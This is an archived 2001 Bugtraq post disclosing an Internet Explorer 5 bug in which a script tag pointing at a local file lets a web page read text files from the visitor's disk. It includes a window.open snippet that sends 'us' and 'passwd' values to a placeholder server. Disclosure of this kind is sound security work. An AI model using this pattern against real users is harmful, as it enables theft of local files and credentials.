Home page logo

bugtraq logo Bugtraq mailing list archives

security bug Internet Explorer 5
From: Stefaan Deman <Stefaan.Deman () compex be>
Date: Wed, 6 Jun 2001 10:26:36 +0200

There is a security bug in the Internet Explorer 5 (I haven't tested it on
other browsers).
It is possible to read some textfiles (others than cookies) from the
client's hard disk.
If there is for example in the directory 'C:\WINNT' a textfile 'test.txt'
with content:

then it is possible to read this file in an HTML page with the tag:
<script src="  <file:///C:/WINNT/test.txt>
The HTML page will consider the file as a script and us and passwd will be
considered as variables 
in the previous example.
It is then possible to use this information or send this (possible critical)
information back to the
webserver with for example
 window.open("  <http://myurl/myasppage.asp?us>
http://myurl/myasppage.asp?us="; + escape(us) + ";passwd=" +  escape(passwd),

This is a security bug, it should be impossible to read any file on the
client's file system.
Of course the file should have a correct JavaScript or VBscript syntax and
the filename should be known.
However, it is easy to image how this security hole can be misused.

This bug isn't as severe as the one posted by Guninski (
The difference between this bug and the one of Guninski is that this
security hole doesn't make use of
Active X components.
Stefaan Deman

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]